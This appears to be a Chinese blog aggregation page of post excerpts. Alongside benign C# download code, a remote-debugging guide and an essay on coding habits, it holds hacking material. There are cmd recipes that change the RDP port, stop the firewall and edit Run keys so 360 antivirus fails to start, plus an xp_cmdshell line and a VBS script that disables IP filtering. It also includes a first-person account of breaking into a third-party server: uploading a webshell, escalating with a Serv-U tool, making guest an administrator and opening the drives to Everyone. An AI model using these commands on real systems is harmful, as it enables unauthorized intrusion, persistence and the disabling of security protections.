本文不仅适用于图片,同样实用于其它二进制文件。 需要四个类:WebRequest、WebResponse、Stream、FileStream。 WebRequest、WebResponse 的名称空间是: System.Net Stream、FileStream 的名称空间是: System.IO 核心代码 WebRequest request = WebRequest.Create("http://portrait7.sinaimg.cn/1859998982/blog/180.jpg");WebResponse response = request.GetResponse();Stream reader = response.GetResponseStream();FileStream writer = new FileStream("D:\\logo.jpg", FileMode.OpenOrCreate, FileAccess.Write);byte[] buff = new byte[512];int c = 0; //实际读取的字节数while ((c=reader.Read(buff, 0, buff.Length)) > 0){ writer.Write(buff, 0, c);}writer.Close(); 注意类 Stream,不是 StreamReader。 示例 <%@ Page Language="C#" %><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.IO" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <script runat="server"> void Page_Load(object sender, EventArgs e) { try { WebRequest request = WebRequest.Create("http://portrait7.sinaimg.cn/1859998982/blog/180.jpg"); WebResponse response = request.GetResponse(); Stream reader = response.GetResponseStream(); FileStream writer = new […]
View DetailsCardKit 是来自豆瓣的一个移动 UI 框架,使用 Card\Unit\Component 概念快速构建移动 Web 应用。应用外观跟原生应用无异。 http://ozjs.org/CardKit 转自:http://www.oschina.net/p/cardkit
View Details以下所有命令均在cmd下执行,方法并不是唯一的,还有其他方法,以下仅举例几种。 涉及到修改注册表文件的,前提是无安全类软件保护注册表。 查看远程终端端口: 导出终端端口注册表内容,然后在cmd下查看。 1、导出注册表内容,其中yiming.reg为导出文件名称,可自定义: 1.regedit /e yiming.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 2、查看导出的注册表内容,找出端口: 1.type yiming.reg 文件内容较多,也可进行条件查找: 1.type yiming.reg|find "PortNumber" 得到回显,类似:"PortNumber"=dword:00000d3d 用科学计算器将十六进制“00000d3d”转换为十进制,即得到远程终端端口。 修改远程端口: 1、写注册表文件 1.echo Windows Registry Editor Version 5.00>>3389.reg 2.echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 3.echo "PortNumber"=dword:00000d3d>>3389.reg 其中“dword:00000d3d”为端口号,请通过科学计算器自行转换。3389.reg为文件名,可自定义。 2、导入注册表文件 1.regedit /s 3389.reg 重启生效: 1.shutdown -r 如不能连接,有可能是系统防火墙造成的,关闭防火墙: 1.net stop SharedAccess 查看开机启动项:导出开机启动项注册表内容,然后在cmd下查看(和上面的类似) 1、导出注册表内容 1.regedit /e kaiji.reg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2、查看导出的注册表内容 1.type kaiji.reg 3、修改开机启动项 根据导出的注册表内容,进行修改,然后写注册表文件。 例如:360安装路径在C盘,将路径改为D盘,使其无法启动。 1.echo Windows Registry Editor Version 5.00>>xiugai.reg 2.echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>xiugai.reg 3.echo "360Safetray"="\"D:\\Program Files\\360\\360Safe\\safemon\\360Tray.exe\" /start">>xiugai.reg 导入注册表文件: 1.regedit /s xiugai.reg […]
View DetailsEXEC master..xp_cmdshell 'bcp "select top 1 txt from master.dbo.ctest " queryout c:\ctxt.vbs -c -S(local) -Usa -Phbcfsa'
View DetailsOn Error Resume Next strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colNicConfig = objWMIService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True") For Each objNicConfig in colNicConfig If objNicConfig.IPFilterSecurityEnabled Then intDisableReturn = objNicConfig.DisableIPSec If intDisableReturn = 0 Then WScript.Echo "ip过滤已禁用." ElseIf intDisableReturn = 1 Then WScript.Echo "ip过滤已禁用." & VbCrLf & " 必须重新启动使更改生效." Else WScript.Echo "无法禁用ip过滤" […]
View Details|
1 |
net stop "Windows Firewall/Internet Connection Sharing (ICS)"<br /><br />以下是该服务的依存服务<br />Network Connections<br />Remote Access Connetion Manager<br />Windows Management Instrumentation<br />无其他服务依存此服务 |
很多朋友不知道怎樣在cmd下查看3389被 修改成了什麽。有時候注冊表讀其來不是太方便。、 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 这条命令是查看远程桌面连接所开的端口是多少 一般默认显示是0xd3d 也就是3389 。 其實兩個 常見的cmd命令就可以搞定下來· 先用tasklist /svc 图像名 PID 服务========================= ====== =============================================System Idle Process 0 暂缺System 4 暂缺smss.exe 704 暂缺csrss.exe 772 暂缺winlogon.exe 796 […]
View Details作者:lvhuana 来自:http://www.wrsky.com/ 日期:2004.12.11LvHuaNa一:得到webshell今天晚上的一次小小测试,由于本人太菜,再高深的技术我也不会,只能这样了……….一切都已经过去了,没有办法补图了,希望能看的懂这个小帖子。今天有是无聊的一天,晚上实在无聊没有事情干,就到一个视频聊天站点看秀,嘿嘿~突然发现一个聊天室特别的火暴,人数已经有500人在里面了(满员了),刷了n次也没有进去……….更加郁闷了!:(想想反正也是没有事情做,测试一下主机安全做的怎么样吧,呵呵(太菜,说测试人家安全实在是抬高自己了)在cmd下ping了一下得到了对方的ip,然后登陆http://whois.webhosting.info/对方ip看看有没有其他的站点,哈,这下发了,上面有几十个站点,估计我还是能找到一个两个带漏洞的站点的`经过漫长的查找,终于找到一个动易带漏洞的页面_Soft.asp">http://www.xxxx.net/Upfile_Soft.asp,上传一个webshell(海阳2005正式版)先(怎么上传我就不罗嗦了,上传工具现在漫天飘了)。 二:成功提升权限建立用户拿到webshell后高高兴兴的登陆了,突然发现什么权限都没有,只能在自己的webshell所在的目录里面打转(c.d.e.f盘都浏览不了),连删除文件的权限都没有,郁闷呀……..回到〖Server〗下看看主机开了什么服务吧,经过发现他开了终端服务和serv-u服务,哈,这下有搞头了^_^用superscan扫描了一下他的ip,果然通过banner看出他是用的serv-u,版本5.0。到〖Wscript.Shell〗下面试试看能执行cmd命令不能,输入net user后没有反映,再试通过Wscript.Shell能执行cmd命令不能,再次输入net user后执行返回了对方的user名单,哈哈,这下好了,能拿下了!!上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面,改名为:test.exe,然后回到〖Wscript.Shell〗下执行命令去了,嘿嘿,马上一只肥鸡就要到手了,高兴ing~通过Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest /active:yes" #激活guest账号,我喜欢用这个账号D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest lvhuana" #把guest账号的密码设定为lvhuanaD:\a004\tggtwe\****.com\UploadSoft\test.exe "net localgroup administrators guest /add" #提升guest权限到admin权限好了,账号建立完毕,执行一下net localgroup administrators看看成功没,通过回显知道添加成功了。然后执行netstat -an后看到他开的终端端口是默认的3389,OK,连接试试~ 三:解决TCP/IP筛选连接不上!?晕………..再拿出superscan来扫一下他的3389,根本扫不到……..(开了防火墙!?靠,我的点真背…..)没有办法了,再次回到Wscript.Shell执行cmd命令:D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe c: /e /t /g everyone:F" #把c盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe e: /e /t /g everyone:F" #把e盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe f: /e /t […]
View Details远程调试应用场景 部署环境:ASP.NET(C#)+IIS+Win7 64 bit 很多公司的开发模式都是将开发机器和服务器分开,也就是开发一台机,服务器一台机。而测试人员会在服务器上录入测试数据,此时报错了【由于开发程序时忽略了数据类型或者数据是否合法导致的】,如果是简单的错误那还好办,看下代码直接消灭。要是生命力比较顽强的bug,那么就需要调试了。 此时开发人员会产生几种设想: 1、赶紧把服务器的环境部署到本地,然后把生成的dll扔进去进行调试。这时会出现几种结果,如果顺利的话,通过了调试解决了bug,如果不顺利的话,就会延长bug的解决时间。不顺利的情况可能会有:对程序的配置不熟悉,本地可能在注册表缺少了对那个插件的注册,目录可能存在中文……种种的,种种的问题。 2、在服务器上装上一个Visual Studio 2008/2010/2012[后面简称vs工具],然后把程序文件拷过去,然后将生成的文件dll附加到iis进程而进行调试,哈哈,顺利解决了bug,但是一看钟表半天过去了。而且服务器多了很多文件,仅仅是为了你调试这个程序的文件。如果是管理不是很严谨的公司那还说的过去,要不然少不了要被喷一顿。 好吧,不说口水话了,进入正题。 远程调试方法 第一步:将vs工具里的Remote Debugger文件夹拷贝到目标机器。大致的目录应该是:D:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\Remote Debugger,或者从开始菜单那里可以找到它的快捷方式,如下图: 第二步:在服务器上打开Remote Debugger文件夹,如果是32位的就运行X86里面的msvsmon.exe,如果是64位的就运行X64里面的msvsmon.exe。关于32位和64位这里要注意一下,以你的IIS应用程序池为主,在应用程序池那里右键,点击高级设置,可出现以下窗体。如果启用32位应用程序设置为true的话,那么就需要运行X86里面的msvsmon.exe。 运行后会出现以下界面 第三步【最关键一步】:将你本地的账号密码设置成跟服务器一样,因为远程调试也是需要用户凭证的。账号和密码都要一致哦!!! 第四步:用vs工具打开你的程序源码,用快捷键ctrl + alt + p 打开附加进程窗体,如下图 传输:默认 限定符:默认是本机的机器名称,设置为你的服务器IP(如:192.168.1.250) 设置好按回车就可以看到250这台机子的进程,然后找到w3wp.exe这个进程,点击附加。【如果没有看到w3wp.exe,可以把下面显示所有用户的进程勾上】 接下来就尽情享受代码的调试把。 关于调试那点技术 比较一下下面两种调试的方法,看谁犯过第一种,反正我犯过。^_^ 1、为了调试某个dll而直接在Web程序里直接按F5进行调试,如果是小项目小网站的话,那没问题。如果是一个几十M甚至几百M的网站那么问题就来了。这样子的调试非常的慢,而且每次都需要重新生成整个网站的dll,那速度,是可忍孰不可忍。 2、将你需要调试的dll重新生成一下,把dll和pdb文件拷到已发布好的网站bin目录底下,然后ctrl + alt + p附加到IIS进程w3wp.exe,然后就可以调试你的dll了。这样即快又方便,做个开心的程序员吧。 结束语 好久没写过东西了,距离上一篇Installshield有1年多了,哎。以后坚持有空就写点文章,多总结自己的经验。 转自:http://www.cnblogs.com/magicchaiy/archive/2013/05/28/VS%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7.html
View Details我在做什么 曾经,我试过接到一些需求。一眼带过后,脑袋马上随着高昂的斗志沉溺在代码的世界中 ,马不停蹄地敲着键盘直到最后测试的完成。我从思绪中恢复过来,乍一看自己写的功能,和需求差了十万八千里,我TM都在干嘛? 除此之外,我还见过类似的很好笑的事情。有一个程序员,经理提了需求,然后他在那里折腾了一天。结果不但没做出来,而且和实际需求都是完全搭不上调。经过询问发现,他不知道经理说了什么,也不知道自己到底在做什么。 代码的世界可能是昏天暗地的,但是我们的思维不能这样随之混乱,否则一切都会前功尽弃。所以我现在编写程序的时候,经常会想一下:我要做什么,我在做什么。更好的方法是把详细需求落实到文档,并时刻核对文档。 大局为重 2-8法则告诉我们,一个项目核心的功能只有很少,其它大部分都是对核心功能辅助或增强的。但当任务分发下来,我手头总有一些自己很想开发的模块,不过它们不属于那20%。我以前经常会在这些感兴趣的模块上花费很多时间和精力。 结果项目快要到上线期限,主要的功能却没开发完成,其它一些不起眼的功能却做得很好,但为此项目不得不延期了。如果反过来,只要对整体功能预期不会有太大偏差,可以将就的先上线。重要一点是:即使功能还有遗漏,但项目可以上线了,老板自然不会太追究,自己工作也能图个安心。如果不知道那些功能模块是最重要的,先问问经理。 人总是喜欢做一些自己感兴趣或者有挑战的事。不过在这方面,为了项目和团队着想,应该尽量压制这种诱惑。 性能永远不是优先考虑的问题 我从来不会一开始就考虑性能问题。如果项目成本很低,甚至到项目结束时,如果没有感觉到明显的性能问题,也不会去管。要知道现在已经不是DOS的年代,CPU的计算能力很高,但成本很低了。重要一点是,如果只针对提升性能对代码做改动,很容易破坏代码的复用性和可维护性。而返过来,提高了代码的复用性和可维护性,则很容易提高性能。 下面有一个PHP的代码实例,功能是帮助用户重置密码(代码为了简单说明问题,请不要太在意一些无关的细节) requestResetPassword是接收用户重置密码的请求并且做了相应的检查。为了更好的复用性,我将重置密码的操作单独分配到一个新的resetPassword的函数,更改完密码的后再调用sendEmail向用户发送一封通知邮件。 现在问题是,这三个函数都同时使用checkUserExists这个函数来检查用户不存在,数据库查询了三次,这样带来了一些额外的开销。 如果要去掉三者之间任意一个checkUserExists,看上去是可能的。但是如果之后有某些功能要调用resetPassword或者sendEmail,用户不存在时,系统可能会发生错误。 还有一个解决方法是,将resetPassword的逻辑写到requestResetPassword里,再过一点,把sendEmail的逻辑也写进去。这样函数调用减少,数据库查询也变成一次了,性能得到了提高。但是重置密码和发送邮件的功能将不能得到复用,并且违背了单一责任的原则,代码复杂度也提高了。 不过,因为函数分离和复用性都很好,如果实际性能受到影响,可能考虑用缓存的方法减少数据库查询,我改动了它们共用的checkUserExists函数: 也可以用同样的方法改动getUserInfo函数。 这里可以看到,当代码的复用性提高时,想提高性能是很简单的,性能的瓶颈也很容易被发现和修改。 尽管这个例子对性能影响还不够大,还有一些影响更大的,比如说遍历,我可能为了复用而将遍历封装到一个函数中,并且多次使用它。这些开销对我的项目根本没有预想中那样有太大的影响,或者说是微乎其微的。所以我更愿意把时间花在如何提高代码的复用性和维护性方面,而不是纠结于浪费多这一点性能。实际性能如果真的达不到要求,也可以权衡增加硬件配置。 名字长一点好 函数名和变量名等除了给机器看,也要给人看的,有时一个简单直接的好名字实在是很难想,这时不妨用长一点的名字更好。可读性更好: 我见过一些代码,由于简单写过多,整遍代码很多都是4个字母或以下的,可读性非常差,当然不排除是为了偷懒。 但如果想有更多的时间腾出来偷懒,不应该在这上面玩小聪明,否则这时我现在应该在思考前几天的代码是在写什么。 什么?短名字会让代码执行得更快? 那证明给我看,如果真的快,快了多少? 自说明代码很重要,但注释同样重要 代码本身可以说明问题的确是很棒的,但并不是说注释不重要,有时候我更喜欢先看注释,因为它总比我看代码更快的了解这程序是做什么的。 如果我把本文前面说性能的例子去掉注释,哪个能让你更快了解代码的意图?或者说,你更愿意看哪个? 所以,即使代码本身很清晰,但是加上注释的话,可读性也能提高很多! 适当抽象 编程就是为了解决实际中的问题,在思考如何编码的时候,把问题抽象到一定的高度去思考,更容易把握问题所在。不过更多时候,我发现从代码抽象到现实的例子是有一定难度的,同时我也相信,编程高手也是抽象高手,他们很容易把问题反映到真实生活中去。 不过如果经常留意和思考生活中的细节,会提升自己的抽象能力。 举一个螺丝刀的例子,如果叫你造一个螺丝刀,你会做成什么样子?我这里有三把不同的螺丝刀: 显然第一种螺丝刀是最简单的,比较中规中矩。 第二种螺丝刀中间可以旋转刀柄,让刀柄和刀头成90度,这样的设计让拧螺丝更加轻松。 第三种螺丝刀则可以更换刀头,如果以后有其它类型的螺丝,则只要造一个适合这种螺丝的刀头就可以了。 那反映到编程中的问题,如果项目要增加一个工具类库。 第一种方法,可以直接把类库的所需功能写出来就可以了。 第二种方法,不但把类库写出来,而且针对项目的一些情况做特殊改进,使得在这个项目中更好用。 第三种方法,根据类库的特性,把公共部分的逻辑做成接口,特殊的部分分离出来单独实现,如果以后要增加相同类型的类库,则实现特殊部分的逻辑,然后接入接口即可。 但是在抽象的时候,要避免不合理的抽象,有时也可能造成过渡设计,现在只需要一种螺丝刀,但你却把更多类型的螺丝刀都做出来了(而且还是瑞士军刀的样子。。): 一致性 团队开发中,可能每个人的编程风格都不一样,拿花括号来说,有些人喜欢和代码在同一行,而有些喜欢独自一行 命名风格也都不一样,比如说声明变量接收一个函数返回的数据,有些喜欢用result,有些喜欢用data。 它们可能都很好,不过在团队开发中,尽量统一用同一种风格能够很好的减少交叉开发的成本。 将错就错 面对项目一些无关紧要的分歧或错误,应该要接受和理解。承接上面的问题,如果团队中已经有人大量用了data的变量命名,但你认为result的更符合当前状况的描述。这种情况,我优先选择data命名,因为如果再使用result的话,会破坏项目的一致性,对开发没有任何好处。 这只是很少的一方面,如果项目规范没有很好的落实,实际工作中会有大量的一致性问题,必须靠团队每个人的决心和责任心去把它做好。通常,加入一个正在开发中的项目,编写功能前,我都会首先看项目之前的类似的代码,并尽量模仿他们的写法。不过,如果有明显的错误,应该及时指出和修正。 只要坚持把一致性做好,很多方法会成为团队甚至业界的标准,即使它们不是最好的,但是有什么关系呢? 适当休息 编程的时候如果没有思路或者感到混乱,到外边休息10分钟,或者看一下风景,让脑袋清醒一下是很好的。这招很管用,亲测。 至少把代码完整运行一次 有时函数的逻辑过于简单,以至于会认为这个不可能发生错误,但事实上最容易发生错误的通常就是这些代码,常见的单词拼写错误,参数错误,还有一些意料之外的问题。所以无论什么情况,我都会把代码完整运行一遍。 当然更好的做法是用一些系统的测试方法,比如说单元测试。 编程不是艺术 从一开始,编程语言的出现和发展,都是为了解决现实生活中的问题,包括它自身产生的问题。 面向对象、设计模式的出现,是用来解决编程语言自身带来的可读性和维护性等问题,而不是为了让编程语言上升到艺术的层面。尽管编程中有‘优雅’一词,但我更认为它只是用来形容代码更容易让人读懂和维护。 我拒绝一切看起来很‘优雅’,却不能为编程工作带来一点好处的代码。如果你喜欢玩弄语言,应该去当作家。 甘于平凡 程序员真的很高傲,在我接触过的人中,包括我自己也是。我以前经常对一些简单的代码感到不屑,而总想在项目中写一些犀利的代码,让人看起来很NB,但结果总是和想象差太远,代码总是写的很差,逻辑也不够清晰。归根到底,是我带着这样的思想去写代码,而忽略了编程的根本:解决问题。现在我改掉了这个坏毛病,以解决问题为目的去编程,以简单为主。出乎意料的是别人有时会对我说,这里的代码写得很棒。 踏实的做事,会有意想不到的收获。 承认错误 不要怀疑,当别人用自己的程序或者代码无法运行时,首先考虑是否是自己的逻辑哪里有问题。一来别人会觉得我谦虚,二来实际大多数情况的确是自己的问题。 有原则,有决心 做任何事情都坚持原则,并有决心是最好的。有很多道理我们都明白,但经常做不到,没有任何人能帮到自己,未来也是自己争取的。 所以,如果知道什么是好,就尽量去做,什么是不好,就尽量避免。 即使是在公司面对经理和领导,也要坚持自己的做法,一些不合理的需求应该指出或拒绝。我还年轻,大不了换一家公司,而不愿意做一个受欺压的码农。 我在做什么 文章写完了,现在来回想一下,我是在分享自己现在编程的一些习惯,总算没偏离开始的主题。本文的思想都是来自实际工作和一些书籍,想了解更多的话,推荐阅读《整洁代码之道》《代码大全》《重构》这几本书。 如果你有一些认为好的编程方法,不妨拿出来和大家分享一下。 转自:http://my.oschina.net/u/867608/blog/138002
View Details